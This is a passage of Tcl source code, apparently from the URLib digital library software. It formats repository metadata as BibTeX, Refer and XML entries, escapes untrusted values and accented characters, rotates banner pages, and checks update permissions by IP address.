fieldAttributeTable global localSite global environmentArray # puts --$metadataList-- array set metadataArray $metadataList # reference type set referenceType $metadataArray(${rep-i},referencetype) set referenceType2 $referenceType if [regexp {^Book$} $referenceType] { if {[info exists metadataArray(${rep-i},publisher)] || \ [info exists metadataArray(${rep-i},serieseditor)]} { # publisher or serieseditor set referenceType2 {Book1} } else { # no publisher and no serieseditor set referenceType2 {Book2} } } if [regexp {Edited Book} $referenceType] { if ![info exists metadataArray(${rep-i},organization)] { # no organization set referenceType2 {Edited Book1} } else { # organization set referenceType2 {Edited Book2} } } if [regexp {Report} $referenceType] { if ![info exists metadataArray(${rep-i},institution)] { # no institution set referenceType2 {Report1} } else { # institution set referenceType2 {Report2} } } if [regexp {Book Section} $referenceType] { if [info exists metadataArray(${rep-i},booktitle)] { # title and booktitle set referenceType2 {Book Section2} } else { # no booktitle set referenceType2 {Book Section1} } } if [regexp {Thesis} $referenceType] { if [info exists metadataArray(${rep-i},thesistype)] { set thesisType $metadataArray(${rep-i},thesistype) # set masterLanguagePattern master|mestrado if [regexp -nocase $masterLanguagePattern $thesisType] { # Masters Thesis set referenceType2 {Thesis1} } else { # PhD Thesis set referenceType2 {Thesis2} } } else { # %9 doesn't exist set referenceType2 {Misc} } } # entry type set entryType $r2b($referenceType2) # citationKey # set citationKey $metadataArray(${rep-i},citationkey) ;# commented by GJFB in 2018-06-14 set citationKey [EscapeUntrustedData $metadataArray(${rep-i},citationkey)] ;# added by GJFB in 2018-06-14 # metadataLastUpdate # set metadataLastUpdate $metadataArray(${rep-i},metadatalastupdate) if {$mirrorRep != {} && ![TestContentType $mirrorRep Mirror]} { # mirrorRep may be relative to another site and therefore don't exist set mirrorRep $loBiMiRep } # set output [array get metadataArray ${rep-i},*] ;# <<< testing lappend output "@$entryType\{$citationKey," set accessDatefilled 0 # return [array names metadataArray ${rep-i},*] # return [lsort -command BibFieldCompare [array names metadataArray ${rep-i},*]] set entryNameList {} foreach name [array names metadataArray ${rep-i},*] { regexp {,(.*)} $name m fieldName :# ex. of fieldName: referencetype if [regexp {^first} $fieldName] {continue} ;# added by GJFB in 2022-03-07 - now doi is no more a multiple line field and any field names beginning with first may be discarted if {[info exists fieldAttributeTable($fieldName,2)] && !$fieldAttributeTable($fieldName,2)} {continue} if ![info exists inverseTable($referenceType,$fieldName)] {continue} ;# added by GJFB in 2022-05-10 - required when the field exists in the metadata and not in inverseTable, for example, when the field 'city' exists in the metadata for Conference Proceedings if ![info exists r2bTable($referenceType2,$inverseTable($referenceType,$fieldName))] {continue} lappend entryNameList $name } # FOREACH # foreach index [lsort -command BibFieldCompare [array names metadataArray ${rep-i},*]] # ;# commented by GJFB in 2022-03-07 foreach index [lsort -command BibFieldCompare $entryNameList] { # return --$index-- set value $metadataArray($index) # puts --$value-- regsub -all {""} $value {"} value regsub -all {\$} $value {\$} value ;# $ -> \$ ($w$-operator) regsub -all {\\} $value {\\\\} value ;# \% -> \\% (\$ -> \\$) - added by GJFB in 2014-05-29 otherwise \% (\$) in metadataList is displayed % ($) # field regsub {.*,} $index {} field # puts "$field =--$value--" if [regexp {^$|^first|^index$|^supervisor$} $field] {continue} # lappend output $field if [string equal {supervisor} $field] {continue} if 1 { if [string equal {pages} $field] { regsub -all -- {([0-9])-} $value {\1--} value ;# 1-2-3 -> 1--2--3 } # must be used for all the fields (to avoid the sequence #{# \{"} that is not a correct LaTeX one) regsub -all {"} $value {{"}} value regsub -all {&} $value {\\\\&} value ;# & -> \\\& regsub -all {ã} $value {{\\\~a}} value regsub -all {á} $value {{\\\'a}} value regsub -all {à} $value {{\\\`a}} value regsub -all {â} $value {{\\\^a}} value regsub -all {ä} $value {{\\\"a}} value regsub -all {ç} $value {{\\\c{c}}} value regsub -all {é} $value {{\\\'e}} value regsub -all {è} $value {{\\\`e}} value regsub -all {ê} $value {{\\\^e}} value regsub -all {ë} $value {{\\\"e}} value regsub -all {í} $value {{\\\'{\\\i}}} value regsub -all {ì} $value {{\\\`{\\\i}}} value regsub -all {î} $value {{\\\^{\\\i}}} value regsub -all {ï} $value {{\\\"{\\\i}}} value regsub -all {õ} $value {{\\\~o}} value regsub -all {ó} $value {{\\\'o}} value regsub -all {ò} $value {{\\\`o}} value regsub -all {ô} $value {{\\\^o}} value regsub -all {ö} $value {{\\\"o}} value regsub -all {ú} $value {{\\\'u}} value regsub -all {ü} $value {{\\\"u}} value regsub -all {ý} $value {{\\\'y}} value regsub -all {ÿ} $value {{\\\"y}} value regsub -all {Ã} $value {{\\\~A}} value regsub -all {Á} $value {{\\\'A}} value regsub -all {À} $value {{\\\`A}} value regsub -all {Â} $value {{\\\^A}} value regsub -all {Ä} $value {{\\\"A}} value regsub -all {Ç} $value {{\\\C{C}}} value ;# ? regsub -all {É} $value {{\\\'E}} value regsub -all {È} $value {{\\\`E}} value regsub -all {Ê} $value {{\\\^E}} value regsub -all {Ë} $value {{\\\"E}} value regsub -all {Í} $value {{\\\'{\\\I}}} value ;# ? regsub -all {Ì} $value {{\\\`{\\\I}}} value ;# ? regsub -all {Î} $value {{\\\^{\\\I}}} value ;# ? regsub -all {Ï} $value {{\\\"{\\\I}}} value ;# ? regsub -all {Õ} $value {{\\\~O}} value regsub -all {Ó} $value {{\\\'O}} value regsub -all {Ò} $value {{\\\`O}} value regsub -all {Ô} $value {{\\\^O}} value regsub -all {Ö} $value {{\\\"O}} value regsub -all {Ú} $value {{\\\'U}} value regsub -all {Ü} $value {{\\\"U}} value regsub -all {Ý} $value {{\\\'Y}} value regsub -all {Ÿ} $value {{\\\"Y}} value } else { regsub -all -- {([0-9])-} $value {\1--} value ;# 1-2-3 -> 1--2--3 regsub -all {ã} $value {\\\~a} value # ... regsub -all {Ÿ} $value {\\\"Y} value regsub -all {"} $value {{"}} value ;# #{# \" -> \{"} (#{# \{"} is not a correct LaTeX sequence) regsub -all {&} $value {\\\&} value } # global homePath # Store field $homePath/xxx auto 0 a # drop some fields # if [regexp {^$|^first|^index$|^lastupdate$|^metadatalastupdate$|^size$|^numberoffiles$|^site$|^contenttype$|^referencetype$|^thesistype$|^citationkey$|^childrepositories$|^parentrepositories$|^previousedition$|^nextedition$|^e-mailaddress$|^secondarykey$|^secondarytype$|^tertiarytype$|^dissemination$|^format$|^secondarydate$|^group$|^affiliation$|^electronicmailaddress$|^project$|^username$|^usergroup$|^readergroup$|^readpermission$|^documentstage$|^visibility$|^mark$|^electronicmailaddress$} $field] {continue} # if [regexp {^metadatarepository$|^targetfile$} $field] {continue} ;# not defined in fieldAttributeTable if [regexp {^metadatarepository$} $field] {continue} ;# not defined in fieldAttributeTable if {[info exists fieldAttributeTable($field,2)] && !$fieldAttributeTable($field,2)} {continue} if ![info exists inverseTable($referenceType,$field)] {continue} ;# added by GJFB in 2022-05-10 - required when the field exists in the metadata and not in inverseTable, for example, when the field 'city' exists in the metadata for Conference Proceedings if ![info exists r2bTable($referenceType2,$inverseTable($referenceType,$field))] {continue} if $isJustReference { # just a reference # if [regexp {^repository$|^lastupdate$|^metadatalastupdate$|^hostcollection$} $field] {continue} if [regexp {^repository$} $field] {continue} } # lappend output $inverseTable($referenceType,$field) set bibField $r2bTable($referenceType2,$inverseTable($referenceType,$field)) # lappend output $bibField if {$field == "repository" && $mirrorRep != {}} { # rep, metadataRep and site set rep $value if [regexp {(.*)-0} ${rep-i} m metadataRep] { regsub -all {/} ${mirrorRep}___$metadataRep {__} window regsub -all {\.|@|-} $window {_} window } # set value "$rep" # lappend output [format "%24s" "$bibField = "]"$value", # set value "$localSite" # lappend output [format "%24s" "site = "]"$value", if ![TestContentType $rep {External Contribution}] { set domainName $environmentArray(domainName) if [string equal {} $domainName] { # set value "http://$localSite/$rep" ;# commented by GJFB in 2018-09-13 if [info exists metadataArray(${rep-i},identifier)] { set id $metadataArray(${rep-i},identifier) # set value "http://$localSite/rep/$id" ;# added by GJFB in 2018-09-13 - added rep/ to let display the 'How to cite' link set value "http://$localSite/ibi/$id" ;# added by GJFB in 2021-10-09 } else { # set value "http:/$localSite/rep/$rep" ;# added by GJFB in 2018-09-13 - added rep/ to let display the 'How to cite' link set value "http:/$localSite/ibi/$rep" ;# added by GJFB in 2021-10-09 } } else { # set value "http://urlib.net/$rep" ;# commented by GJFB in 2018-09-13 if [info exists metadataArray(${rep-i},identifier)] { set id $metadataArray(${rep-i},identifier) # set value "http://urlib.net/rep/$id" ;# added by GJFB in 2018-09-13 - added rep/ to let display the 'How to cite' link set value "http://urlib.net/ibi/$id" ;# added by GJFB in 2021-10-09 set ibi $id } else { # set value "http://urlib.net/rep/$rep" ;# added by GJFB in 2018-09-13 - added rep/ to let display the 'How to cite' link set value "http://urlib.net/ibi/$rep" ;# added by GJFB in 2021-10-09 set ibi $rep } lappend output [format "%24s" "ibi = "]"$ibi", } lappend output [format "%24s" "url = "]"$value", } } elseif {$field == "databaserepository" && $mirrorRep != {}} { regsub -all {/} $value {__} window regsub -all {\.|@|-} $window {_} window set value "$value" lappend output [format "%24s" "$bibField = "]"$value", } elseif {$field == "url"} { # probably an External Contribution set value [EscapeUntrustedData $value] ;# added by GJFB in 2018-06-08 # set value "$value" ;# commented by GJFB in 2018-06-05 - the URL value may be an untrusted data lappend output [format "%24s" "url = "]"$value", ;# added by GJFB in 2018-06-05 - XSS prevention } elseif {$field == "doi"} { set value [EscapeUntrustedData $value] ;# added by GJFB in 2018-06-08 lappend output [format "%24s" "doi = "]"$value", set value "http://dx.doi.org/$value" lappend output [format "%24s" "url = "]"$value", # # elseif {$field == "firstdoi"} # ;# commented by GJFB in 2022-03-07 # continue ;# commented by GJFB in 2022-03-07 } else { if {[string equal {Conference Proceedings} $referenceType] && \ [string equal {booktitle} $field] && \ ![regexp {\.{3}$} $value]} { # add ... regsub {(Anais|Anales|Actas|Proceedings|Memória Final|Memórias|Resumos Extendidos|Extended Abstracts|Resumos|Resumenes|Abstracts)} $value {\1...} value } if {[string equal {Conference Proceedings} $referenceType] && \ [string equal {conferencename} $field] && \ [regexp {\d( |$)} $value]} { # add . regsub {(\d)( |$)} $value {\1.\2} value } # if [regexp {^affiliation|^author|^base|^cartographer|^committee|^editor|^electronicmailaddress$|^group|^programmer|^reporter|^serieseditor|^source|^supervisor|^translator} $field] if {[lsearch -exact $multipleLineFieldNameList $field] != -1} { # multiple line fields set value [MultipleRegsub {,*$} $value {}] ;# drop trailing commas set value2 {} foreach name $value { if ![regexp {,} $name] { set name [list $name] ;# xx xx -> {xx xx} } lappend value2 $name } set value [join $value2 { and }] } set line [format "%24s" "${bibField} = "]\" # drop extra space regsub -all { +} $value { } fieldContent regsub -all {(^|[^\\\{])"} $fieldContent {\1{"}} fieldContent ;# {"} foreach word [split $fieldContent] { # set xxx --$word-- # Store xxx C:/tmp/aaa auto 0 a set newLine "${line}${word} " ;# add one word # if {[string length $newLine] < "73"} # if {[string length $newLine] < "93"} { set line $newLine } else { # regsub -all {<} $line {\<} line ;# commented by GJFB in 2018-06-14 # regsub -all {>} $line {\>} line ;# commented by GJFB in 2018-06-14 set line [EscapeUntrustedData $line] ;# added by GJFB in 2018-06-14 lappend output $line set line " $word " } } # if {[string length $line] < "71"} # if {[string length $line] < "91"} { regsub { $} $line {} line set line ${line}\", } else { regsub { [^ ]+ $} $line { } line # regsub -all {<} $line {\<} line ;# commented by GJFB in 2018-06-14 # regsub -all {>} $line {\>} line ;# commented by GJFB in 2018-06-14 set line [EscapeUntrustedData $line] ;# added by GJFB in 2018-06-14 lappend output $line set line " ${word}\"," ;# add one more line } # regsub -all {<} $line {\<} line ;# commented by GJFB in 2018-06-14 # regsub -all {>} $line {\>} line ;# commented by GJFB in 2018-06-14 set line [EscapeUntrustedData $line] ;# added by GJFB in 2018-06-14 # access date if {$field == "accessdate"} { set accessDatefilled 1 } lappend output $line } } # FOREACH - end # access date if {$mirrorRep != {} && !$accessDatefilled} { lappend output [format "%24s" "urlaccessdate = "]\"\$accessDate\", } # Drop trailing comma after the last list item set lastLine [lindex $output end] regsub {,$} $lastLine {} lastLine set output [lreplace $output end end $lastLine] # Drop trailing comma after the last list item - end lappend output "\}" return $output } # CreateBibTeXEntry - end # ---------------------------------------------------------------------- # CreateFullReferEntry # path example: ../ proc CreateFullReferEntry {rep-i path mirrorRep} { global metadataArray global inverseTable global loBiMiRep global homePath global multipleLineFieldNameList global fieldAttributeTable global localSite # repository if [regexp {(.*)-0} ${rep-i} m metadataRep] { set rep [ReturnRepositoryName $metadataRep] regsub -all {/} ${mirrorRep}___$metadataRep {__} window regsub -all {\.|@|-} $window {_} window } # size ConditionalSet size metadataArray(${rep-i},size) {} # referenceType set referenceType $metadataArray(${rep-i},referencetype) # metadataLastUpdate set metadataLastUpdate $metadataArray(${rep-i},metadatalastupdate) foreach index [array names metadataArray ${rep-i},*] { # value set value $metadataArray($index) regsub -all {\\} $value {\\\\} value ;# \% -> \\% - added by GJFB in 2014-05-29 otherwise \% in metadataList is displayed imply % regsub -all {<} $value {\<} value regsub -all {>} $value {\>} value regsub -all {""} $value {"} value ;# " regsub -all {\$} $value {\$} value ;# $ -> \$ ($w$-operator) # field regsub {.*,} $index {} field # drop some fields # if [regexp {^$|^first|^index$|^supervisor$} $field] {continue} if [regexp {^$|^first|^index$} $field] {continue} # if [regexp {^$|^first|^secondarykey$|^citationkey$|^lastupdate$|^accessdate$|^site$|^size$|^numberoffiles$|^language$|^contenttype$|^hostcollection$|^copyholder$|^childrepositories$|^parentrepositories$|^databaserepository|^e-mailaddress$|^secondarytype$|^tertiarytype$|^dissemination$|^format$|^secondarydate$|^area$|^group$|^affiliation$|^electronicmailaddress$|^project$|^username$|^usergroup$|^readergroup$|^readpermission$|^documentstage$|^accessdate$|^visibility$|^mark$|^index$} $field] {continue} if {[info exists fieldAttributeTable($field,1)] && !$fieldAttributeTable($field,1)} {continue} if {$field == "repository"} { if ![TestContentType $mirrorRep Mirror] { # mirrorRep may be relative to another site and therefore don't exist set mirrorRep $loBiMiRep } set value "$rep" # set value "$rep" } ## url # if {$field == "url"} { # set value "$value" ;# commented by GJFB in 2018-06-05 - the URL value may be an untrusted data # } # targetfile if {$field == "targetfile"} { ;# added by GJFB in 2021-01-20 to display the correct number of white spaces regsub -all { } $value {\ } value } # if ![regexp {^{.*}$} $value] {set value [list $value]} ;# not author - doesn't work when an author name reduces to only one word, in this case there is no bracket # not a multiple line fields # if ![regexp {^affiliation|^author|^base|^cartographer|^committee|^editor|^electronicmailaddress$|^group|^programmer|^reporter|^serieseditor|^source|^supervisor|^translator} $field] {set value [list $value]} if {[lsearch -exact $multipleLineFieldNameList $field] == -1} {set value [list $value]} # lappend xxx [list $field $value] foreach item $value { if [info exists inverseTable($referenceType,$field)] { ;# added by GJFB in 2022-05-10 - required when the field exists in the metadata and not in inverseTable, for example, when the field 'city' exists in the metadata for Conference Proceedings lappend output "$inverseTable($referenceType,$field) $item
    " } } } set output [lsort -command ReferFieldCompare $output] lappend output "
    " # lappend output $xxx ;# == puts $xxx # lappend output $multipleLineFieldNameList ;# == puts $multipleLineFieldNameList return [list $metadataLastUpdate $output] } # CreateFullReferEntry - end # ---------------------------------------------------------------------- # CreateDateTitleSite # used in enAbout.html ... # path example: ../ # dateFieldName value is lastupdate, metadatalastupdate or issuedate # siteFieldName value is site or newspaper proc CreateDateTitleSite { rep-i path mirrorRep outputFormat cellBackgroundColor dateFieldName siteFieldName } { global localSite set metadataLastUpdate [GetMetadataLastUpdate ${rep-i}] # date if [string equal {lastupdate} $dateFieldName] { set lastUpdate [GetLastUpdate ${rep-i}] regexp {(..):(..)\.(..)} $lastUpdate m year month day } elseif {[string equal {metadatalastupdate} $dateFieldName]} { regexp {(..):(..)\.(..)} $metadataLastUpdate m year month day } elseif {[string equal {issuedate} $dateFieldName]} { set issueDate [GetFieldValue ${rep-i} issuedate] if ![regexp {(....)-(..)-(..)} $issueDate m year month day] { foreach {year month day} {- - -} {break} } } else { foreach {year month day} {- - -} {break} } # title set title [GetFieldValue ${rep-i} title] ;# commented by GJFB in 2018-06-14 set title [EscapeUntrustedData [GetFieldValue ${rep-i} title]] ;# added by GJFB in 2018-06-14 # siteAddress # set siteAddress [GetServerAddress] set siteAddress $localSite ;# not used with default mirror if 0 { if {[string compare {newspaper} $siteFieldName] == 0} { set newspaper [GetFieldValue ${rep-i} newspaper] } if {[string compare {referencetype} $siteFieldName] == 0} { # used with default mirror set referenceType [GetFieldValue ${rep-i} referencetype] } } set $siteFieldName [GetFieldValue ${rep-i} $siteFieldName] # repName regsub -- {-0$} ${rep-i} {} metadataRep set repName [ReturnRepositoryName $metadataRep] # SUBST set output [list [subst $outputFormat]] ;# uses cellBackgroundColor # set output [list $outputFormat] return [list $metadataLastUpdate $output] } # CreateDateTitleSite - end # ---------------------------------------------------------------------- # CreateFullXMLEntry # path example: ../ proc CreateFullXMLEntry {rep-i} { global localSite set metadataLastUpdate [GetMetadataLastUpdate ${rep-i}] set output [ConvertMetadata2XML ${rep-i} 1 $localSite] return [list $metadataLastUpdate $output] } # CreateFullXMLEntry - end # ---------------------------------------------------------------------- # ProvideRepository # returns a repository name which metadata contains the specified # metadata. If the repository doesn't exist, then it is # created together with its metadata. The default metadata are # used and uptaded based on the specified metadata # metadataEntryList is a list of fields and values # example of metadataEntryList: {{area SO150000} {date 1997} {base Landsat-TM}} proc ProvideRepository {metadataEntryList} { # runs with post # global metadataArray global searchRepository set entrySearch [join $metadataEntryList { and }] set searchResult [${searchRepository}::MountSearch $entrySearch] # puts ---$searchResult--- # puts >>>[llength $searchResult] foreach index $searchResult { regexp {(.*)-([^-]*)$} $index m metadataRep i if {$i == 0} { # return the first encountered return [ReturnRepositoryName $metadataRep] } } # no repository found, create a new one return [CreateRepMetadataRep empty {} $metadataEntryList] } # ProvideRepository - end # ---------------------------------------------------------------------- # ReferFieldCompare # used in CreateFullReferEntry and ReturnReferModel (called by CreateMetadata in cgi/oai.tcl) proc ReferFieldCompare {a b} { global referRepository global ${referRepository}::orderingTable upvar referenceType referenceType ;# added by GJFB in 2020-11-18 # puts $a # => %@format format # => %B Brazilian Symposium on Geoinformatics, 21 (GEOINFO)
    # regsub {.*%} [lindex $a 0] {%} aa ;# ex: aa == %A, doesn't work because of . in: "... Library". # regsub {.*%} [lindex $b 0] {%} bb regexp {(%[^ ]+)} $a m aa ;# ex: aa == %A regexp {(%[^ ]+)} $b m bb set aa "$referenceType,$aa" ;# ex: aa == Thesis,%A - added by GJFB in 2020-11-18 set bb "$referenceType,$bb" ;# added by GJFB in 2020-11-18 return [expr $orderingTable($aa)<=$orderingTable($bb)?-1:1] } # ReferFieldCompare - end # ---------------------------------------------------------------------- # BibFieldCompare proc BibFieldCompare {a b} { global inverseTable ;# created in LoadGlobalVariables global bib2referRepository global ${bib2referRepository}::bibOrderingTable global ${bib2referRepository}::r2bTable upvar referenceType referenceType upvar referenceType2 referenceType2 upvar entryType entryType regexp {,(.*)} $a m aField :# ex. of aField: referencetype regexp {,(.*)} $b m bField # set xxx "$aField $bField" # Store xxx C:/tmp/bbb.txt auto 0 a set aa $entryType,$r2bTable($referenceType2,$inverseTable($referenceType,$aField)) set bb $entryType,$r2bTable($referenceType2,$inverseTable($referenceType,$bField)) if {! [info exists bibOrderingTable($aa)] && \ ! [info exists bibOrderingTable($bb)]} { return [string compare $aa $bb] } elseif {[info exists bibOrderingTable($aa)] && \ ! [info exists bibOrderingTable($bb)]} { return -1 } elseif {! [info exists bibOrderingTable($aa)] && \ [info exists bibOrderingTable($bb)]} { return 1 } else { # return [expr $bibOrderingTable($aa)<=$bibOrderingTable($bb)?-1:1] ;# doesn't work with tcl 8.3.1 return [string compare $bibOrderingTable($aa) $bibOrderingTable($bb)] } } # BibFieldCompare - end # ---------------------------------------------------------------------- # FindBannerPath # size values are Big, Small or {}; but Big is not used proc FindBannerPath {language size} { global col # global URLibServiceRepository global serverAddress global urlibServerAddress ;# urlib.net and port # global urlibServerAddressWithIP ;# ip and port of urlib.net global bannerPathArray ;# load form a @bannerSequence.tcl file - see LoadBannerPathArray global bannerRoot ;# path of the directory containing files like nextSite, used in CreateBannerSpace and FindBannerPath - set in post file upvar addr addr ;# set in ServeLocalCollection # set serverAddressWithIP [GetServerAddress 1] ;# xxx.xxx.x.xx:80 ou xxx.xxx.x.xx 800 but URLib server address is www.urlib.net 800 # set urlibServerAddress $urlibServerAddressWithIP ;# ip and port of urlib.net # if {$serverAddressWithIP != "$urlibServerAddress"} # if {$serverAddress != "$urlibServerAddress"} { # the current server is not the URLib server ## Main Site # set xxx [CallTrace] # Store xxx C:/tmp/aaa auto 0 a # Store addr C:/tmp/aaa auto 0 a if [regexp {^150.163} $addr] { # INPE domain set iconetBannerRep dpi.inpe.br/banon/2000/03.03.10.27 if [file isdirectory $col/$iconetBannerRep] { # the Portuguese/Brazil ICONet banner exists set bannerPath ../$col/col/$iconetBannerRep/doc/@pt-BRSmallBanner.html } else { # the Portuguese/Brazil ICONet banner doesn't exist # display the URLib acting! banner set bannerPath [lindex $bannerPathArray($language) 1] } # Store bannerPath C:/tmp/aaa auto 0 a return $bannerPath } } # set auxDoc $col/$URLibServiceRepository/auxdoc set iMax [llength $bannerPathArray($language)] if {$size == ""} { # any banner size (big or small) needed # Load $auxDoc/${language}BannerIndex i Load $bannerRoot/${language}BannerIndex i if {$i == ""} {set i 0} incr i if {$i >= "$iMax"} {set i 0} set bannerPath [lindex $bannerPathArray($language) [expr $iMax - $i - 1]] # Store i $auxDoc/${language}BannerIndex Store i $bannerRoot/${language}BannerIndex auto 0 w 1 return $bannerPath } # a small banner is needed # Load $auxDoc/${language}SmallBannerIndex i Load $bannerRoot/${language}SmallBannerIndex i if {$i == ""} { # Load $auxDoc/${language}BannerIndex i Load $bannerRoot/${language}BannerIndex i if {$i == ""} {set i 0} } incr i if {$i >= "$iMax"} {set i 0} set j [expr $i + $iMax - 1] set pathList [concat $bannerPathArray($language) \ $bannerPathArray($language)] set pathList [lrange $pathList $i $j] foreach path $pathList { if [regexp {SmallBanner.html$} $path] { # a small banner has been found # Store i $auxDoc/${language}SmallBannerIndex Store i $bannerRoot/${language}SmallBannerIndex auto 0 w 1 return $path } incr i if {$i >= "$iMax"} {set i 0} } # no small banner has been found - return nothing } # FindBannerPath - end # ---------------------------------------------------------------------- # GetOfficialIconRep proc GetOfficialIconRep {} { global officialIconRepList # get the first encountered # return dpi.inpe.br/banon/2000/01.31.19.17 ;# URLib icon return [lindex $officialIconRepList 0] } # GetOfficialIconRep - end # ---------------------------------------------------------------------- # GetSampledDocumentDBServerAddress # Used in: # Get (get.tcl) # PerformCheck # # returns ip:port proc GetSampledDocumentDBServerAddress {} { # runs with post # global postEnvironmentArray # return [Compress $postEnvironmentArray(sampledDocumentDBServerAddress)] return {urlib.net 800} } # GetSampledDocumentDBServerAddress - end # ---------------------------------------------------------------------- # GetURLibAdEMailAddress # Used in: # CreateBannerSpace (utilities1.tcl) - left banner proc GetURLibAdEMailAddress {} { # runs with post global postEnvironmentArray return [Compress $postEnvironmentArray(urlibadEMailAddress)] } # GetURLibAdEMailAddress - end # ---------------------------------------------------------------------- # GetURLibServiceLastVersion proc GetURLibServiceLastVersion {} { # runs with post global repositoryProperties global URLibServiceRepository # return [lindex $repositoryProperties($URLibServiceRepository,history) end] return [GetVersionStamp $URLibServiceRepository] } # GetURLibServiceLastVersion - end # ---------------------------------------------------------------------- # PutURLibServerAddress # not used anymore - was used by change.tcl only proc PutURLibServerAddress2 {xxx1 xxx2 xxx3 xxx4 xxx5 xxx6} { # runs with post global postEnvironmentArray # set site [Compress $xxx] set postEnvironmentArray(urlibServerAddress) $xxx1 set postEnvironmentArray(sampledDocumentDBServerAddress) $xxx2 set postEnvironmentArray(urlibadEMailAddress) $xxx3 set postEnvironmentArray(regionalURLibServerAddress) $xxx4 set postEnvironmentArray(sampledDocumentRegionalDBServerAddress) $xxx5 set postEnvironmentArray(regionalURLibAdEMailAddress) $xxx6 # SAVE StoreArray postEnvironmentArray ../auxdoc/.postEnvironmentArray.tcl # SAVE - end return done } # PutURLibServerAddress - end # ---------------------------------------------------------------------- # CompareOccurrence- # see also CompareOccurrence in utilities1.tcl proc CompareOccurrence- {a b} { set a1 [lindex $a 1] set b1 [lindex $b 1] return [expr $a1<$b1?-1:1] } # CompareOccurrence- - end # ---------------------------------------------------------------------- # Compress proc Compress {inputList} { set m 0 set sh [lindex $inputList 0] set inputList [lrange $inputList 1 end] foreach item $inputList { foreach i [lindex $item end] { set m [Max $m $i] } } set sM [lindex [lindex $inputList end] 0] for {set t 0} {$t <= $m} {incr t} { set break 0 for {set s $sM} {$s > -1} {incr s -1} { if {[lindex [lindex $inputList $s] 1] >= $t} { set value $s continue } else { lappend list [list [lindex [lindex $inputList $value] end] $value] set break 1 break } } if !$break {lappend list [list [lindex [lindex $inputList $value] end] $value]} } set jP {} foreach item $list { set i [lindex $item 0] set j [lindex $item end] if {$j == "$jP"} { incr ii } else { set ii 0 } lappend list2 [list $j [lindex $i $ii]] set jP $j } set list2 [lsort -command CompareOccurrence- [lrange $list2 1 end]] foreach item $list2 { lappend address [binary format c [expr [lindex $item 0] + $sh]] } return [join $address {}] } # source utilities1.tcl # puts [Compress {33 {0 0 0} {1 0 0} {2 0 0} {3 0 0} {4 0 0} {5 0 0} {6 0 0} {7 0 0} {8 0 0} {9 0 0} {10 0 0} {11 0 0} {12 0 0} {13 3 {4 8 12}} {14 3 {4 8 12}} {15 8 {2 3 7 10 19}} {16 11 {6 9 17}} {17 14 {1 5 13}} {18 16 {11 15}} {19 17 14} {20 18 20} {21 18 20} {22 18 20} {23 18 20} {24 19 18} {25 20 16} {26 20 16} {27 20 16} {28 20 16} {29 20 16} {30 20 16} {31 20 16} {32 20 16} {33 20 16} {34 20 16} {35 20 16} {36 20 16} {37 20 16} {38 20 16} {39 20 16} {40 20 16} {41 20 16} {42 20 16} {43 20 16} {44 20 16} {45 20 16} {46 20 16} {47 20 16} {48 20 16} {49 20 16} {50 20 16} {51 20 16} {52 20 16} {53 20 16} {54 20 16} {55 20 16} {56 20 16} {57 20 16} {58 20 16} {59 20 16} {60 20 16} {61 20 16} {62 20 16} {63 20 16} {64 20 16} {65 20 16} {66 20 16} {67 20 16} {68 20 16} {69 20 16} {70 20 16} {71 20 16} {72 20 16} {73 20 16} {74 20 16} {75 20 16} {76 20 16} {77 20 16} {78 20 16} {79 20 16} {80 20 16} {81 20 16} {82 20 16} {83 20 16} {84 20 16} {85 20 16} {86 20 16} {87 20 16} {88 20 16} {89 20 16} {90 20 16} {91 20 16} {92 20 16} {93 20 16}}] # => 200.210.103.243:1905 # Compress - end # ---------------------------------------------------------------------- # GetVersionRegistrationTime proc GetVersionRegistrationTime {rep lastUpdate} { global homePath global sampledDocumentDBRepository # docPath set docPath $homePath/col/$sampledDocumentDBRepository/doc set URParts [file split $rep] set year [lindex $URParts 2] set rest [lreplace $URParts 2 2] regsub -all { } $rest {=} rest regsub -all {[:/]} $lastUpdate {=} versionStamp # directoryPath set directoryPath $docPath/$year/$rest/$versionStamp Load $directoryPath/time time return $time } # GetVersionRegistrationTime - end # ---------------------------------------------------------------------- # GetHostCollectionSite # used by Get only proc GetHostCollectionSite {rep} { # runs with post global homePath global repositoryNameDBRepository global loBiMiRep global loCoInRep # docPath set docPath $homePath/col/$repositoryNameDBRepository/doc set URParts [file split $rep] set year [lindex $URParts 2] set rest [lreplace $URParts 2 2] regsub -all { } $rest {=} rest # directoryPath set directoryPath $docPath/$year/$rest if [file isdirectory $directoryPath] { # repository name registered Load $directoryPath/hostCollection data binary set data [UnShift $data] if {[lindex $data 0] != "$rep"} {return} ;# corrupted hostCollection set hostCollection [lindex $data end] Load $homePath/col/$loBiMiRep/doc/@siteList.txt fileContent set found 0 foreach line [split $fileContent \n] { if {[string compare $hostCollection [lindex $line 1]] == 0} { set hostCollectionSite [lindex $line 0] set found 1 break } } if {[string compare $hostCollection $loCoInRep] == 0} { set hostCollectionSite [GetServerAddress] set found 1 } if $found { return [list $hostCollectionSite] } } } # GetHostCollectionSite - end # ---------------------------------------------------------------------- # TestForUpdate # returns 1 when the remoteIp is # in the permissionList (see the appropriate displayControl.tcl file) and # there is a valid advanced user and # $rep contains the original document proc TestForUpdate {mirrorRep remoteIp rep-i rep} { global environmentArray ## global serverAddress global homePath global metadataArray # set serverAddress [GetServerAddress 1] # if [info exists environmentArray($mirrorRep,permissionList)] { # set permissionList $environmentArray($mirrorRep,permissionList) # } else { # set permissionList {} # } ConditionalSet permissionList environmentArray($mirrorRep,permissionList) {} ## regsub {:.*} $serverAddress {} localIp # foreach {localIp urlibPort} [ReturnCommunicationAddress $serverAddress] {break} set localIp $environmentArray(ipAddress) lappend permissionList $localIp set found 0 foreach permission $permissionList { if [regexp $permission $remoteIp] {set found 1; break} } if {!$found && \ ([lsearch -exact $permissionList {All Sites}] != -1 || \ [lsearch -exact $permissionList {All IPs}] != -1)} {set found 1} # if {[file exists $homePath/col/$rep/service/userName] && ![Check-htpasswd] && $found} # if {[info exists metadataArray(${rep-i},username)] && ![Check-htpasswd] && $found} { if [GetDocumentState $rep] { # $rep contains the original document return 1 } } return 0 } # TestForUpdate - end # ---------------------------------------------------------------------- # CreateBibINPEOutput proc CreateBibINPEOutput {rep-i localSite mirrorRep {linkType {}}} { global BibINPERepository return [${BibINPERepository}::CreateOutput2 ${rep-i} $localSite $mirrorRep $linkType] } # CreateBibINPEOutput - end # ---------------------------------------------------------------------- # CompareWords # used in CreateBriefEntry only # example: # lsort -command CompareWords {{automática 1} {cardíaca 2} {computadorizadas 2} {eixo 1} {imagens 1}} # => {computadorizadas 2} {cardíaca 2} {automática 1} {imagens 1} {eixo 1} proc CompareWords {a b} { set aFrequency [lindex $a 1] set bFrequency [lindex 